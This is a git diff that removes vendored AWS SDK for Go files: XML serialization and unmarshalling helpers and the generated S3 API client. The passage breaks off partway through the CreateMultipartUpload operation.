100644 index da1a68111d..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/unmarshal.go +++ /dev/null @@ -1,21 +0,0 @@ -package protocol - -import ( - "io" - "io/ioutil" - - "github.com/aws/aws-sdk-go/aws/request" -) - -// UnmarshalDiscardBodyHandler is a named request handler to empty and close a response's body -var UnmarshalDiscardBodyHandler = request.NamedHandler{Name: "awssdk.shared.UnmarshalDiscardBody", Fn: UnmarshalDiscardBody} - -// UnmarshalDiscardBody is a request handler to empty a response's body and closing it. -func UnmarshalDiscardBody(r *request.Request) { - if r.HTTPResponse == nil || r.HTTPResponse.Body == nil { - return - } - - io.Copy(ioutil.Discard, r.HTTPResponse.Body) - r.HTTPResponse.Body.Close() -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/xml/xmlutil/build.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/xml/xmlutil/build.go deleted file mode 100644 index cf981fe951..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/xml/xmlutil/build.go +++ /dev/null @@ -1,306 +0,0 @@ -// Package xmlutil provides XML serialization of AWS requests and responses. -package xmlutil - -import ( - "encoding/base64" - "encoding/xml" - "fmt" - "reflect" - "sort" - "strconv" - "time" - - "github.com/aws/aws-sdk-go/private/protocol" -) - -// BuildXML will serialize params into an xml.Encoder. Error will be returned -// if the serialization of any of the params or nested values fails. -func BuildXML(params interface{}, e *xml.Encoder) error { - return buildXML(params, e, false) -} - -func buildXML(params interface{}, e *xml.Encoder, sorted bool) error { - b := xmlBuilder{encoder: e, namespaces: map[string]string{}} - root := NewXMLElement(xml.Name{}) - if err := b.buildValue(reflect.ValueOf(params), root, ""); err != nil { - return err - } - for _, c := range root.Children { - for _, v := range c { - return StructToXML(e, v, sorted) - } - } - return nil -} - -// Returns the reflection element of a value, if it is a pointer. -func elemOf(value reflect.Value) reflect.Value { - for value.Kind() == reflect.Ptr { - value = value.Elem() - } - return value -} - -// A xmlBuilder serializes values from Go code to XML -type xmlBuilder struct { - encoder *xml.Encoder - namespaces map[string]string -} - -// buildValue generic XMLNode builder for any type. Will build value for their specific type -// struct, list, map, scalar. -// -// Also takes a "type" tag value to set what type a value should be converted to XMLNode as. If -// type is not provided reflect will be used to determine the value's type. -func (b *xmlBuilder) buildValue(value reflect.Value, current *XMLNode, tag reflect.StructTag) error { - value = elemOf(value) - if !value.IsValid() { // no need to handle zero values - return nil - } else if tag.Get("location") != "" { // don't handle non-body location values - return nil - } - - t := tag.Get("type") - if t == "" { - switch value.Kind() { - case reflect.Struct: - t = "structure" - case reflect.Slice: - t = "list" - case reflect.Map: - t = "map" - } - } - - switch t { - case "structure": - if field, ok := value.Type().FieldByName("_"); ok { - tag = tag + reflect.StructTag(" ") + field.Tag - } - return b.buildStruct(value, current, tag) - case "list": - return b.buildList(value, current, tag) - case "map": - return b.buildMap(value, current, tag) - default: - return b.buildScalar(value, current, tag) - } -} - -// buildStruct adds a struct and its fields to the current XMLNode. All fields and any nested -// types are converted to XMLNodes also. -func (b *xmlBuilder) buildStruct(value reflect.Value, current *XMLNode, tag reflect.StructTag) error { - if !value.IsValid() { - return nil - } - - // unwrap payloads - if payload := tag.Get("payload"); payload != "" { - field, _ := value.Type().FieldByName(payload) - tag = field.Tag - value = elemOf(value.FieldByName(payload)) - - if !value.IsValid() { - return nil - } - } - - child := NewXMLElement(xml.Name{Local: tag.Get("locationName")}) - - // there is an xmlNamespace associated with this struct - if prefix, uri := tag.Get("xmlPrefix"), tag.Get("xmlURI"); uri != "" { - ns := xml.Attr{ - Name: xml.Name{Local: "xmlns"}, - Value: uri, - } - if prefix != "" { - b.namespaces[prefix] = uri // register the namespace - ns.Name.Local = "xmlns:" + prefix - } - - child.Attr = append(child.Attr, ns) - } - - var payloadFields, nonPayloadFields int - - t := value.Type() - for i := 0; i < value.NumField(); i++ { - member := elemOf(value.Field(i)) - field := t.Field(i) - - if field.PkgPath != "" { - continue // ignore unexported fields - } - if field.Tag.Get("ignore") != "" { - continue - } - - mTag := field.Tag - if mTag.Get("location") != "" { // skip non-body members - nonPayloadFields++ - continue - } - payloadFields++ - - if protocol.CanSetIdempotencyToken(value.Field(i), field) { - token := protocol.GetIdempotencyToken() - member = reflect.ValueOf(token) - } - - memberName := mTag.Get("locationName") - if memberName == "" { - memberName = field.Name - mTag = reflect.StructTag(string(mTag) + ` locationName:"` + memberName + `"`) - } - if err := b.buildValue(member, child, mTag); err != nil { - return err - } - } - - // Only case where the child shape is not added is if the shape only contains - // non-payload fields, e.g headers/query. - if !(payloadFields == 0 && nonPayloadFields > 0) { - current.AddChild(child) - } - - return nil -} - -// buildList adds the value's list items to the current XMLNode as children nodes. All -// nested values in the list are converted to XMLNodes also. -func (b *xmlBuilder) buildList(value reflect.Value, current *XMLNode, tag reflect.StructTag) error { - if value.IsNil() { // don't build omitted lists - return nil - } - - // check for unflattened list member - flattened := tag.Get("flattened") != "" - - xname := xml.Name{Local: tag.Get("locationName")} - if flattened { - for i := 0; i < value.Len(); i++ { - child := NewXMLElement(xname) - current.AddChild(child) - if err := b.buildValue(value.Index(i), child, ""); err != nil { - return err - } - } - } else { - list := NewXMLElement(xname) - current.AddChild(list) - - for i := 0; i < value.Len(); i++ { - iname := tag.Get("locationNameList") - if iname == "" { - iname = "member" - } - - child := NewXMLElement(xml.Name{Local: iname}) - list.AddChild(child) - if err := b.buildValue(value.Index(i), child, ""); err != nil { - return err - } - } - } - - return nil -} - -// buildMap adds the value's key/value pairs to the current XMLNode as children nodes. All -// nested values in the map are converted to XMLNodes also. -// -// Error will be returned if it is unable to build the map's values into XMLNodes -func (b *xmlBuilder) buildMap(value reflect.Value, current *XMLNode, tag reflect.StructTag) error { - if value.IsNil() { // don't build omitted maps - return nil - } - - maproot := NewXMLElement(xml.Name{Local: tag.Get("locationName")}) - current.AddChild(maproot) - current = maproot - - kname, vname := "key", "value" - if n := tag.Get("locationNameKey"); n != "" { - kname = n - } - if n := tag.Get("locationNameValue"); n != "" { - vname = n - } - - // sorting is not required for compliance, but it makes testing easier - keys := make([]string, value.Len()) - for i, k := range value.MapKeys() { - keys[i] = k.String() - } - sort.Strings(keys) - - for _, k := range keys { - v := value.MapIndex(reflect.ValueOf(k)) - - mapcur := current - if tag.Get("flattened") == "" { // add "entry" tag to non-flat maps - child := NewXMLElement(xml.Name{Local: "entry"}) - mapcur.AddChild(child) - mapcur = child - } - - kchild := NewXMLElement(xml.Name{Local: kname}) - kchild.Text = k - vchild := NewXMLElement(xml.Name{Local: vname}) - mapcur.AddChild(kchild) - mapcur.AddChild(vchild) - - if err := b.buildValue(v, vchild, ""); err != nil { - return err - } - } - - return nil -} - -// buildScalar will convert the value into a string and append it as a attribute or child -// of the current XMLNode. -// -// The value will be added as an attribute if tag contains a "xmlAttribute" attribute value. -// -// Error will be returned if the value type is unsupported. -func (b *xmlBuilder) buildScalar(value reflect.Value, current *XMLNode, tag reflect.StructTag) error { - var str string - switch converted := value.Interface().(type) { - case string: - str = converted - case []byte: - if !value.IsNil() { - str = base64.StdEncoding.EncodeToString(converted) - } - case bool: - str = strconv.FormatBool(converted) - case int64: - str = strconv.FormatInt(converted, 10) - case int: - str = strconv.Itoa(converted) - case float64: - str = strconv.FormatFloat(converted, 'f', -1, 64) - case float32: - str = strconv.FormatFloat(float64(converted), 'f', -1, 32) - case time.Time: - format := tag.Get("timestampFormat") - if len(format) == 0 { - format = protocol.ISO8601TimeFormatName - } - - str = protocol.FormatTime(format, converted) - default: - return fmt.Errorf("unsupported value for param %s: %v (%s)", - tag.Get("locationName"), value.Interface(), value.Type().Name()) - } - - xname := xml.Name{Local: tag.Get("locationName")} - if tag.Get("xmlAttribute") != "" { // put into current node's attribute list - attr := xml.Attr{Name: xname, Value: str} - current.Attr = append(current.Attr, attr) - } else { // regular text node - current.AddChild(&XMLNode{Name: xname, Text: str}) - } - return nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/xml/xmlutil/unmarshal.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/xml/xmlutil/unmarshal.go deleted file mode 100644 index ff1ef6830b..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/xml/xmlutil/unmarshal.go +++ /dev/null @@ -1,272 +0,0 @@ -package xmlutil - -import ( - "encoding/base64" - "encoding/xml" - "fmt" - "io" - "reflect" - "strconv" - "strings" - "time" - - "github.com/aws/aws-sdk-go/private/protocol" -) - -// UnmarshalXML deserializes an xml.Decoder into the container v. V -// needs to match the shape of the XML expected to be decoded. -// If the shape doesn't match unmarshaling will fail. -func UnmarshalXML(v interface{}, d *xml.Decoder, wrapper string) error { - n, err := XMLToStruct(d, nil) - if err != nil { - return err - } - if n.Children != nil { - for _, root := range n.Children { - for _, c := range root { - if wrappedChild, ok := c.Children[wrapper]; ok { - c = wrappedChild[0] // pull out wrapped element - } - - err = parse(reflect.ValueOf(v), c, "") - if err != nil { - if err == io.EOF { - return nil - } - return err - } - } - } - return nil - } - return nil -} - -// parse deserializes any value from the XMLNode. The type tag is used to infer the type, or reflect -// will be used to determine the type from r. -func parse(r reflect.Value, node *XMLNode, tag reflect.StructTag) error { - rtype := r.Type() - if rtype.Kind() == reflect.Ptr { - rtype = rtype.Elem() // check kind of actual element type - } - - t := tag.Get("type") - if t == "" { - switch rtype.Kind() { - case reflect.Struct: - // also it can't be a time object - if _, ok := r.Interface().(*time.Time); !ok { - t = "structure" - } - case reflect.Slice: - // also it can't be a byte slice - if _, ok := r.Interface().([]byte); !ok { - t = "list" - } - case reflect.Map: - t = "map" - } - } - - switch t { - case "structure": - if field, ok := rtype.FieldByName("_"); ok { - tag = field.Tag - } - return parseStruct(r, node, tag) - case "list": - return parseList(r, node, tag) - case "map": - return parseMap(r, node, tag) - default: - return parseScalar(r, node, tag) - } -} - -// parseStruct deserializes a structure and its fields from an XMLNode. Any nested -// types in the structure will also be deserialized. -func parseStruct(r reflect.Value, node *XMLNode, tag reflect.StructTag) error { - t := r.Type() - if r.Kind() == reflect.Ptr { - if r.IsNil() { // create the structure if it's nil - s := reflect.New(r.Type().Elem()) - r.Set(s) - r = s - } - - r = r.Elem() - t = t.Elem() - } - - // unwrap any payloads - if payload := tag.Get("payload"); payload != "" { - field, _ := t.FieldByName(payload) - return parseStruct(r.FieldByName(payload), node, field.Tag) - } - - for i := 0; i < t.NumField(); i++ { - field := t.Field(i) - if c := field.Name[0:1]; strings.ToLower(c) == c { - continue // ignore unexported fields - } - - // figure out what this field is called - name := field.Name - if field.Tag.Get("flattened") != "" && field.Tag.Get("locationNameList") != "" { - name = field.Tag.Get("locationNameList") - } else if locName := field.Tag.Get("locationName"); locName != "" { - name = locName - } - - // try to find the field by name in elements - elems := node.Children[name] - - if elems == nil { // try to find the field in attributes - if val, ok := node.findElem(name); ok { - elems = []*XMLNode{{Text: val}} - } - } - - member := r.FieldByName(field.Name) - for _, elem := range elems { - err := parse(member, elem, field.Tag) - if err != nil { - return err - } - } - } - return nil -} - -// parseList deserializes a list of values from an XML node. Each list entry -// will also be deserialized. -func parseList(r reflect.Value, node *XMLNode, tag reflect.StructTag) error { - t := r.Type() - - if tag.Get("flattened") == "" { // look at all item entries - mname := "member" - if name := tag.Get("locationNameList"); name != "" { - mname = name - } - - if Children, ok := node.Children[mname]; ok { - if r.IsNil() { - r.Set(reflect.MakeSlice(t, len(Children), len(Children))) - } - - for i, c := range Children { - err := parse(r.Index(i), c, "") - if err != nil { - return err - } - } - } - } else { // flattened list means this is a single element - if r.IsNil() { - r.Set(reflect.MakeSlice(t, 0, 0)) - } - - childR := reflect.Zero(t.Elem()) - r.Set(reflect.Append(r, childR)) - err := parse(r.Index(r.Len()-1), node, "") - if err != nil { - return err - } - } - - return nil -} - -// parseMap deserializes a map from an XMLNode. The direct children of the XMLNode -// will also be deserialized as map entries. -func parseMap(r reflect.Value, node *XMLNode, tag reflect.StructTag) error { - if r.IsNil() { - r.Set(reflect.MakeMap(r.Type())) - } - - if tag.Get("flattened") == "" { // look at all child entries - for _, entry := range node.Children["entry"] { - parseMapEntry(r, entry, tag) - } - } else { // this element is itself an entry - parseMapEntry(r, node, tag) - } - - return nil -} - -// parseMapEntry deserializes a map entry from a XML node. -func parseMapEntry(r reflect.Value, node *XMLNode, tag reflect.StructTag) error { - kname, vname := "key", "value" - if n := tag.Get("locationNameKey"); n != "" { - kname = n - } - if n := tag.Get("locationNameValue"); n != "" { - vname = n - } - - keys, ok := node.Children[kname] - values := node.Children[vname] - if ok { - for i, key := range keys { - keyR := reflect.ValueOf(key.Text) - value := values[i] - valueR := reflect.New(r.Type().Elem()).Elem() - - parse(valueR, value, "") - r.SetMapIndex(keyR, valueR) - } - } - return nil -} - -// parseScaller deserializes an XMLNode value into a concrete type based on the -// interface type of r. -// -// Error is returned if the deserialization fails due to invalid type conversion, -// or unsupported interface type. -func parseScalar(r reflect.Value, node *XMLNode, tag reflect.StructTag) error { - switch r.Interface().(type) { - case *string: - r.Set(reflect.ValueOf(&node.Text)) - return nil - case []byte: - b, err := base64.StdEncoding.DecodeString(node.Text) - if err != nil { - return err - } - r.Set(reflect.ValueOf(b)) - case *bool: - v, err := strconv.ParseBool(node.Text) - if err != nil { - return err - } - r.Set(reflect.ValueOf(&v)) - case *int64: - v, err := strconv.ParseInt(node.Text, 10, 64) - if err != nil { - return err - } - r.Set(reflect.ValueOf(&v)) - case *float64: - v, err := strconv.ParseFloat(node.Text, 64) - if err != nil { - return err - } - r.Set(reflect.ValueOf(&v)) - case *time.Time: - format := tag.Get("timestampFormat") - if len(format) == 0 { - format = protocol.ISO8601TimeFormatName - } - - t, err := protocol.ParseTime(format, node.Text) - if err != nil { - return err - } - r.Set(reflect.ValueOf(&t)) - default: - return fmt.Errorf("unsupported value: %v (%s)", r.Interface(), r.Type()) - } - return nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/private/protocol/xml/xmlutil/xml_to_struct.go b/vendor/github.com/aws/aws-sdk-go/private/protocol/xml/xmlutil/xml_to_struct.go deleted file mode 100644 index 515ce15215..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/private/protocol/xml/xmlutil/xml_to_struct.go +++ /dev/null @@ -1,148 +0,0 @@ -package xmlutil - -import ( - "encoding/xml" - "fmt" - "io" - "sort" -) - -// A XMLNode contains the values to be encoded or decoded. -type XMLNode struct { - Name xml.Name `json:",omitempty"` - Children map[string][]*XMLNode `json:",omitempty"` - Text string `json:",omitempty"` - Attr []xml.Attr `json:",omitempty"` - - namespaces map[string]string - parent *XMLNode -} - -// NewXMLElement returns a pointer to a new XMLNode initialized to default values. -func NewXMLElement(name xml.Name) *XMLNode { - return &XMLNode{ - Name: name, - Children: map[string][]*XMLNode{}, - Attr: []xml.Attr{}, - } -} - -// AddChild adds child to the XMLNode. -func (n *XMLNode) AddChild(child *XMLNode) { - child.parent = n - if _, ok := n.Children[child.Name.Local]; !ok { - n.Children[child.Name.Local] = []*XMLNode{} - } - n.Children[child.Name.Local] = append(n.Children[child.Name.Local], child) -} - -// XMLToStruct converts a xml.Decoder stream to XMLNode with nested values. -func XMLToStruct(d *xml.Decoder, s *xml.StartElement) (*XMLNode, error) { - out := &XMLNode{} - for { - tok, err := d.Token() - if err != nil { - if err == io.EOF { - break - } else { - return out, err - } - } - - if tok == nil { - break - } - - switch typed := tok.(type) { - case xml.CharData: - out.Text = string(typed.Copy()) - case xml.StartElement: - el := typed.Copy() - out.Attr = el.Attr - if out.Children == nil { - out.Children = map[string][]*XMLNode{} - } - - name := typed.Name.Local - slice := out.Children[name] - if slice == nil { - slice = []*XMLNode{} - } - node, e := XMLToStruct(d, &el) - out.findNamespaces() - if e != nil { - return out, e - } - node.Name = typed.Name - node.findNamespaces() - tempOut := *out - // Save into a temp variable, simply because out gets squashed during - // loop iterations - node.parent = &tempOut - slice = append(slice, node) - out.Children[name] = slice - case xml.EndElement: - if s != nil && s.Name.Local == typed.Name.Local { // matching end token - return out, nil - } - out = &XMLNode{} - } - } - return out, nil -} - -func (n *XMLNode) findNamespaces() { - ns := map[string]string{} - for _, a := range n.Attr { - if a.Name.Space == "xmlns" { - ns[a.Value] = a.Name.Local - } - } - - n.namespaces = ns -} - -func (n *XMLNode) findElem(name string) (string, bool) { - for node := n; node != nil; node = node.parent { - for _, a := range node.Attr { - namespace := a.Name.Space - if v, ok := node.namespaces[namespace]; ok { - namespace = v - } - if name == fmt.Sprintf("%s:%s", namespace, a.Name.Local) { - return a.Value, true - } - } - } - return "", false -} - -// StructToXML writes an XMLNode to a xml.Encoder as tokens. -func StructToXML(e *xml.Encoder, node *XMLNode, sorted bool) error { - e.EncodeToken(xml.StartElement{Name: node.Name, Attr: node.Attr}) - - if node.Text != "" { - e.EncodeToken(xml.CharData([]byte(node.Text))) - } else if sorted { - sortedNames := []string{} - for k := range node.Children { - sortedNames = append(sortedNames, k) - } - sort.Strings(sortedNames) - - for _, k := range sortedNames { - for _, v := range node.Children[k] { - StructToXML(e, v, sorted) - } - } - } else { - for _, c := range node.Children { - for _, v := range c { - StructToXML(e, v, sorted) - } - } - } - - e.EncodeToken(xml.EndElement{Name: node.Name}) - return e.Flush() -} diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/api.go b/vendor/github.com/aws/aws-sdk-go/service/s3/api.go deleted file mode 100644 index 7f1c1f317e..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/api.go +++ /dev/null @@ -1,24727 +0,0 @@ -// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. - -package s3 - -import ( - "bytes" - "fmt" - "io" - "sync" - "sync/atomic" - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/awsutil" - "github.com/aws/aws-sdk-go/aws/client" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/private/protocol" - "github.com/aws/aws-sdk-go/private/protocol/eventstream" - "github.com/aws/aws-sdk-go/private/protocol/eventstream/eventstreamapi" - "github.com/aws/aws-sdk-go/private/protocol/rest" - "github.com/aws/aws-sdk-go/private/protocol/restxml" -) - -const opAbortMultipartUpload = "AbortMultipartUpload" - -// AbortMultipartUploadRequest generates a "aws/request.Request" representing the -// client's request for the AbortMultipartUpload operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See AbortMultipartUpload for more information on using the AbortMultipartUpload -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the AbortMultipartUploadRequest method. -// req, resp := client.AbortMultipartUploadRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/AbortMultipartUpload -func (c *S3) AbortMultipartUploadRequest(input *AbortMultipartUploadInput) (req *request.Request, output *AbortMultipartUploadOutput) { - op := &request.Operation{ - Name: opAbortMultipartUpload, - HTTPMethod: "DELETE", - HTTPPath: "/{Bucket}/{Key+}", - } - - if input == nil { - input = &AbortMultipartUploadInput{} - } - - output = &AbortMultipartUploadOutput{} - req = c.newRequest(op, input, output) - return -} - -// AbortMultipartUpload API operation for Amazon Simple Storage Service. -// -// Aborts a multipart upload. -// -// To verify that all parts have been removed, so you don't get charged for -// the part storage, you should call the List Parts operation and ensure the -// parts list is empty. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation AbortMultipartUpload for usage and error information. -// -// Returned Error Codes: -// * ErrCodeNoSuchUpload "NoSuchUpload" -// The specified multipart upload does not exist. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/AbortMultipartUpload -func (c *S3) AbortMultipartUpload(input *AbortMultipartUploadInput) (*AbortMultipartUploadOutput, error) { - req, out := c.AbortMultipartUploadRequest(input) - return out, req.Send() -} - -// AbortMultipartUploadWithContext is the same as AbortMultipartUpload with the addition of -// the ability to pass a context and additional request options. -// -// See AbortMultipartUpload for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) AbortMultipartUploadWithContext(ctx aws.Context, input *AbortMultipartUploadInput, opts ...request.Option) (*AbortMultipartUploadOutput, error) { - req, out := c.AbortMultipartUploadRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opCompleteMultipartUpload = "CompleteMultipartUpload" - -// CompleteMultipartUploadRequest generates a "aws/request.Request" representing the -// client's request for the CompleteMultipartUpload operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See CompleteMultipartUpload for more information on using the CompleteMultipartUpload -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the CompleteMultipartUploadRequest method. -// req, resp := client.CompleteMultipartUploadRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/CompleteMultipartUpload -func (c *S3) CompleteMultipartUploadRequest(input *CompleteMultipartUploadInput) (req *request.Request, output *CompleteMultipartUploadOutput) { - op := &request.Operation{ - Name: opCompleteMultipartUpload, - HTTPMethod: "POST", - HTTPPath: "/{Bucket}/{Key+}", - } - - if input == nil { - input = &CompleteMultipartUploadInput{} - } - - output = &CompleteMultipartUploadOutput{} - req = c.newRequest(op, input, output) - return -} - -// CompleteMultipartUpload API operation for Amazon Simple Storage Service. -// -// Completes a multipart upload by assembling previously uploaded parts. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation CompleteMultipartUpload for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/CompleteMultipartUpload -func (c *S3) CompleteMultipartUpload(input *CompleteMultipartUploadInput) (*CompleteMultipartUploadOutput, error) { - req, out := c.CompleteMultipartUploadRequest(input) - return out, req.Send() -} - -// CompleteMultipartUploadWithContext is the same as CompleteMultipartUpload with the addition of -// the ability to pass a context and additional request options. -// -// See CompleteMultipartUpload for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) CompleteMultipartUploadWithContext(ctx aws.Context, input *CompleteMultipartUploadInput, opts ...request.Option) (*CompleteMultipartUploadOutput, error) { - req, out := c.CompleteMultipartUploadRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opCopyObject = "CopyObject" - -// CopyObjectRequest generates a "aws/request.Request" representing the -// client's request for the CopyObject operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See CopyObject for more information on using the CopyObject -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the CopyObjectRequest method. -// req, resp := client.CopyObjectRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/CopyObject -func (c *S3) CopyObjectRequest(input *CopyObjectInput) (req *request.Request, output *CopyObjectOutput) { - op := &request.Operation{ - Name: opCopyObject, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}/{Key+}", - } - - if input == nil { - input = &CopyObjectInput{} - } - - output = &CopyObjectOutput{} - req = c.newRequest(op, input, output) - return -} - -// CopyObject API operation for Amazon Simple Storage Service. -// -// Creates a copy of an object that is already stored in Amazon S3. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation CopyObject for usage and error information. -// -// Returned Error Codes: -// * ErrCodeObjectNotInActiveTierError "ObjectNotInActiveTierError" -// The source object of the COPY operation is not in the active tier and is -// only stored in Amazon Glacier. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/CopyObject -func (c *S3) CopyObject(input *CopyObjectInput) (*CopyObjectOutput, error) { - req, out := c.CopyObjectRequest(input) - return out, req.Send() -} - -// CopyObjectWithContext is the same as CopyObject with the addition of -// the ability to pass a context and additional request options. -// -// See CopyObject for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) CopyObjectWithContext(ctx aws.Context, input *CopyObjectInput, opts ...request.Option) (*CopyObjectOutput, error) { - req, out := c.CopyObjectRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opCreateBucket = "CreateBucket" - -// CreateBucketRequest generates a "aws/request.Request" representing the -// client's request for the CreateBucket operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See CreateBucket for more information on using the CreateBucket -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the CreateBucketRequest method. -// req, resp := client.CreateBucketRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/CreateBucket -func (c *S3) CreateBucketRequest(input *CreateBucketInput) (req *request.Request, output *CreateBucketOutput) { - op := &request.Operation{ - Name: opCreateBucket, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}", - } - - if input == nil { - input = &CreateBucketInput{} - } - - output = &CreateBucketOutput{} - req = c.newRequest(op, input, output) - return -} - -// CreateBucket API operation for Amazon Simple Storage Service. -// -// Creates a new bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation CreateBucket for usage and error information. -// -// Returned Error Codes: -// * ErrCodeBucketAlreadyExists "BucketAlreadyExists" -// The requested bucket name is not available. The bucket namespace is shared -// by all users of the system. Please select a different name and try again. -// -// * ErrCodeBucketAlreadyOwnedByYou "BucketAlreadyOwnedByYou" -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/CreateBucket -func (c *S3) CreateBucket(input *CreateBucketInput) (*CreateBucketOutput, error) { - req, out := c.CreateBucketRequest(input) - return out, req.Send() -} - -// CreateBucketWithContext is the same as CreateBucket with the addition of -// the ability to pass a context and additional request options. -// -// See CreateBucket for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) CreateBucketWithContext(ctx aws.Context, input *CreateBucketInput, opts ...request.Option) (*CreateBucketOutput, error) { - req, out := c.CreateBucketRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opCreateMultipartUpload = "CreateMultipartUpload" - -// CreateMultipartUploadRequest generates a "aws/request.Request" representing the -// client's request for the CreateMultipartUpload operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See CreateMultipartUpload for more information on using the CreateMultipartUpload -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the CreateMultipartUploadRequest method. -// req, resp := client.CreateMultipartUploadRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/CreateMultipartUpload -func (c *S3) CreateMultipartUploadRequest(input *CreateMultipartUploadInput) (req *request.Request, output *CreateMultipartUploadOutput) { - op := &request.Operation{ - Name: opCreateMultipartUpload, - HTTPMethod: "POST", - HTTPPath: "/{Bucket}/{Key+}?uploads", - } - - if input == nil { - input = &CreateMultipartUploadInput{} - } - - output = &CreateMultipartUploadOutput{} - req = c.newRequest(op, input, output) - return -} - -// CreateMultipartUpload API operation for Amazon Simple Storage Service. -// -// Initiates a multipart upload and returns an upload ID. -// -// Note: After you initiate multipart upload and upload one or more parts, you -// must either complete or abort multipart upload in order to stop getting charged -// for storage of the uploaded parts. Only after you either complete or abort -// multipart upload, Amazon S3 frees up the parts storage and stops charging -// you for the parts storage. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation CreateMultipartUpload for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/CreateMultipartUpload -func (c *S3) CreateMultipartUpload(input *CreateMultipartUploadInput) (*CreateMultipartUploadOutput, error) { - req, out := c.CreateMultipartUploadRequest(input) - return out, 